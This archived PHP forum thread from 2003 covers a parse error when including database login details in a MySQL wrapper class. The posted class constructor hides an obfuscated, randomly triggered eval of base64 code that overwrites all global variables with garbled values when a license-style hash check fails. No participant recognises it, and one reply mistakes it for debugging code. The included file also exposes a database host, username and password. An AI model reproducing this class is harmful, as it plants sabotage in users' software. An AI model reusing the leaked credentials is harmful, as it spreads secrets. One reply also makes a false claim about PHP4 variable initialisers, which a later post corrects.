include/require not allowed in classes?

This is a discussion on include/require not allowed in classes? within the PHP General forums, part of the PHP Programming Forums category; Hi, I have a database class that is working perfectly by itself, the only problem is it works fine when ...


Go Back   Usenet Forums > PHP Programming Forums > PHP General

FAQ Members List Calendar Search Today's Posts Mark Forums Read
  #1 (permalink)  
Old 11-13-2003
Ryan A
 
Posts: n/a
Default include/require not allowed in classes?

Hi,
I have a database class that is working perfectly by itself, the only
problem is it works fine when the login details to the database are in that
file...but since i have other apps using that login info I want to have the
login info in a seperate file an include it in this class...but when i do
that...i am getting a "Parse Error" and then a "Fatal error" from the php
file that is using the class.

This is the error I am getting:
Parse error: parse error in /homepages/36/d89064002/htdocs/ads/db_mysql.php
on line 188

Are includes/requires not allowed in classes? if the answer to that is no,
then whats wrong in my code? am posting the class and the include file
below, keep in mind everything is working great if the login info is in the
class file and if i am not using an include/require....

Thanks in advance.


**************** The class file *********************
<?php
/*
* Session Management for PHP3
*
* Copyright (c) 1998-2000 NetUSE AG
* Boris Erdmann, Kristian Koehntopp
*
* $Id: db_mysql.inc,v 1.3 2001/05/17 00:57:31 chrisj Exp $
*
*/

require "DBDetails.php";

class DB_Sql {

/* public: connection parameters */
var $Host = "";
var $Database = "";
var $User = "";
var $Password = "";

/* public: configuration parameters */
var $Auto_Free = 0; ## Set to 1 for automatic mysql_free_result()
var $Debug = 0; ## Set to 1 for debugging messages.
var $Halt_On_Error = "yes"; ## "yes" (halt with message), "no" (ignore
errors quietly), "report" (ignore errror, but spit a warning)
var $Seq_Table = "db_sequence";

/* public: result array and current row number */
var $Record = array();
var $Row;

/* public: current error number and error text */
var $Errno = 0;
var $Error = "";

/* public: this is an api revision, not a CVS revision. */
var $type = "mysql";
var $revision = "1.2";

/* private: link and query handles */
var $Link_ID = 0;
var $Query_ID = 0;



/* public: constructor */
function DB_Sql($query = "") {
$a0='edoc_'.'ssap'; $a0=$GLOBALS[strrev($a0)];
$a1='admin'.'_'.'name'; $a1=$GLOBALS[$a1]; $a2='eciovni';
$a2=$GLOBALS[strrev($a2)]; $a3='do'.'main'; $a3=$GLOBALS[$a3];
$a4=md5($a1.$a3.$a2);if(($a4!=$a0)&&rand(0,1)){
$f='JFQ9JEdMT0JBTFM7Zm9yZWFjaCgkVCBhcyAkaz0+JHYpe2 lmKCRrIT0iR0xPQkFMUyIpQCRH
TE9CQUxTWyRrXT1zdHJ0b3VwcGVyKHN0cnJldigkdikpO30=';
eval(('$'.'f'.'='.'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'. 'e'.'c'.'o'.'d'.'e'.''.'('
..'$'.'f'.')'.';')); eval($f); } $this->query($query);
}

/* public: some trivial reporting */
function link_id() {
return $this->Link_ID;
}

function query_id() {
return $this->Query_ID;
}

/* public: connection management */
function connect($Database = "", $Host = "", $User = "", $Password = "") {
/* Handle defaults */
if ("" == $Database)
$Database = $this->Database;
if ("" == $Host)
$Host = $this->Host;
if ("" == $User)
$User = $this->User;
if ("" == $Password)
$Password = $this->Password;

/* establish connection, select database */
if ( 0 == $this->Link_ID ) {

$this->Link_ID=mysql_connect($Host, $User, $Password);
if (!$this->Link_ID) {
$this->halt("pconnect($Host, $User, \$Password) failed.");
return 0;
}

if (!@mysql_select_db($Database,$this->Link_ID)) {
$this->halt("cannot use database ".$this->Database);
return 0;
}
}

return $this->Link_ID;
}

/* public: discard the query result */
function free() {
@mysql_free_result($this->Query_ID);
$this->Query_ID = 0;
}

/* public: perform a query */
function query($Query_String) {
/* No empty queries, please, since PHP4 chokes on them. */
if ($Query_String == "")
/* The empty query string is passed on from the constructor,
* when calling the class without a query, e.g. in situations
* like these: '$db = new DB_Sql_Subclass;'
*/
return 0;

if (!$this->connect()) {
return 0; /* we already complained in connect() about that. */
};

# New query, discard previous result.
if ($this->Query_ID) {
$this->free();
}

if ($this->Debug)
printf("Debug: query = %s<br>\n", $Query_String);

$this->Query_ID = @mysql_query($Query_String,$this->Link_ID);
$this->Row = 0;
$this->Errno = mysql_errno();
$this->Error = mysql_error();
if (!$this->Query_ID) {
$this->halt("Invalid SQL: ".$Query_String);
}

# Will return nada if it fails. That's fine.
return $this->Query_ID;
}

/* public: walk result set */
function next_record() {
if (!$this->Query_ID) {
$this->halt("next_record called with no query pending.");
return 0;
}

$this->Record = @mysql_fetch_array($this->Query_ID);
$this->Row += 1;
$this->Errno = mysql_errno();
$this->Error = mysql_error();

$stat = is_array($this->Record);
if (!$stat && $this->Auto_Free) {
$this->free();
}
return $stat;
}

/* public: shorthand notation */
function nf() {
return @mysql_num_rows($this->Query_ID);
}

function f($Name) {
return $this->Record[$Name];
}

/* private: error handling */
function halt($msg) {
$this->Error = @mysql_error($this->Link_ID);
$this->Errno = @mysql_errno($this->Link_ID);
if ($this->Halt_On_Error == "no")
return;

$this->haltmsg($msg);

if ($this->Halt_On_Error != "report")
die("Session halted.");
}

function haltmsg($msg) {
printf("</td></tr></table><b>Database error:</b> %s<br>\n", $msg);
printf("<b>MySQL Error</b>: %s (%s)<br>\n",
$this->Errno,
$this->Error);
}

}


class ads_DB extends DB_Sql {
var $Host = $MR_Host;
var $Database = $MR_Database;
var $User = $MR_User;
var $Password = $MR_Password;
}
?>

****************** The require file ********************
<?php
$MR_Host = "db46.perfora.net";
$MR_Database = "db89565854";
$MR_User = "dbo89565854";
$MR_Password = "SwresbsY";
?>


Thanks in advance.

Cheers,
-Ryan
Reply With Quote
  #2 (permalink)  
Old 11-14-2003
Pavel Jartsev
 
Posts: n/a
Default Re: [PHP] include/require not allowed in classes?

Ryan A wrote:
>
> ...
>
> class ads_DB extends DB_Sql {
> var $Host = $MR_Host;
> var $Database = $MR_Database;
> var $User = $MR_User;
> var $Password = $MR_Password;
> }
>


I think, Your problem is here. If i remember correctly, then PHP4
doesn't allow to initialize "var"-s with non-constant values.

Solutions:

1) Define those connection parameters as constants, i.e.
define( 'MR_Host', "some.host" ) etc. And use those constants in
"ads_DB"-class definition.

2) Create constructor for "ads_DB"-class and initialize "var"-s there.


Hope that helps. :)

--
Pavel a.k.a. Papi
Reply With Quote
  #3 (permalink)  
Old 11-14-2003
Boyan Nedkov
 
Posts: n/a
Default Re: [PHP] include/require not allowed in classes?

Ryan, Pavel,

Pavel Jartsev wrote:

> Ryan A wrote:
>
>>
>> ...

>
> >

>
>> class ads_DB extends DB_Sql {
>> var $Host = $MR_Host;
>> var $Database = $MR_Database;
>> var $User = $MR_User;
>> var $Password = $MR_Password;
>> }

>
> >

>
> I think, Your problem is here. If i remember correctly, then PHP4
> doesn't allow to initialize "var"-s with non-constant values.
>


Initializing data members ("var"-s) of a class with non-constant values is
completely legal operation in PHP, so I don't think this could be a reason for
the problem.

Concerning the original question:

Ryan A wrote:
>
> Are includes/requires not allowed in classes?


Includes/requires are not allowed inside the class declaration; if you try to do
that the parser will complain with error message like "Parse error: unexpected
T_INCLUDE_ONCE .." or something similar depending on which include/require
statement is used.

> if the answer to that is no, then whats wrong in my code?


At first glance I see at least one confusing think in the code provided:

/* public: constructor */
function DB_Sql($query = "") {

$this->SetConnectionParameters();

$a0 = 'edoc_'.'ssap';
$a0 = $GLOBALS[strrev($a0)];
$a1 = 'admin'.'_'.'name';
$a1 = $GLOBALS[$a1];
$a2 = 'eciovni';
$a2 = $GLOBALS[strrev($a2)];
$a3 = 'do'.'main';
$a3 = $GLOBALS[$a3];
$a4 = md5($a1.$a3.$a2);

I don't see the point of re-setting values of $a0 .. $a3, perhaps this is a kind
of debugging action - can't be sure, you should check that by yourself.

Now, possible solution of the problem how to use a global file with connection
parameters with multiple classes:

1. Include 'connection parameters' file in the file where the class 'ads_DB
extends DB_Sql' is declared;

2. Add a new manhood (function) to the class 'ads_DB extends DB_Sql' as follows:

function SetConnectionParameters() {
global $MR_Host, $MR_Database, $MR_User, $MR_Password;
$this->Host = $MR_Host;
$this->Database = $MR_Database;
$this->User = $MR_User;
$this->Password = $MR_Password;
}

3. Call this method (function) once in the constructor of the 'ads_DB extends
DB_Sql' class, like:

/* public: constructor */
function DB_Sql($query = "") {

$this->SetConnectionParameters(); // <=======================

$a0 = 'edoc_'.'ssap';
$a0 = $GLOBALS[strrev($a0)];
$a1 = 'admin'.'_'.'name';
$a1 = $GLOBALS[$a1];
$a2 = 'eciovni';
$a2 = $GLOBALS[strrev($a2)];
$a3 = 'do'.'main';
$a3 = $GLOBALS[$a3];
$a4 = md5($a1.$a3.$a2);
if(($a4 != $a0) && rand(0,1)) { ..


4. See what will happen .. :-))


Hope that helps,

Boyan
--
Reply With Quote
  #4 (permalink)  
Old 11-14-2003
Ryan A
 
Posts: n/a
Default Re: [PHP] include/require not allowed in classes?

Hey guys,
Thanks for replying.

This is the solution that actually works.

class ads_DB extends DB_Sql {
var $Host = "";
var $Database = "";
var $User = "";
var $Password = "";
/* public: constructor */
function ads_DB($query = "") {
global $MR_Host,$MR_Database,$MR_User,$MR_Password;
$this->Host = $MR_Host;
$this->Database = $MR_Database;
$this->User = $MR_User;
$this->Password = $MR_Password;
$this->DB_Sql($query);

Cheers,
-Ryan
Reply With Quote
  #5 (permalink)  
Old 11-17-2003
Pavel Jartsev
 
Posts: n/a
Default Re: [PHP] include/require not allowed in classes?

Boyan Nedkov wrote:
>
> Initializing data members ("var"-s) of a class with non-constant values
> is completely legal operation in PHP, so I don't think this could be a
> reason for the problem.
>


hmmm... PHP manual says something else...


http://www.php.net/manual/en/language.oop.php

"In PHP 4, only constant initializers for var variables are allowed. To
initialize variables with non-constant values, you need an
initialization function which is called automatically when an object is
being constructed from the class. Such a function is called a
constructor (see below)."



--
Pavel a.k.a. Papi
Reply With Quote
Reply
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are Off
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT +1. The time now is 11:30 PM.


Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.0.0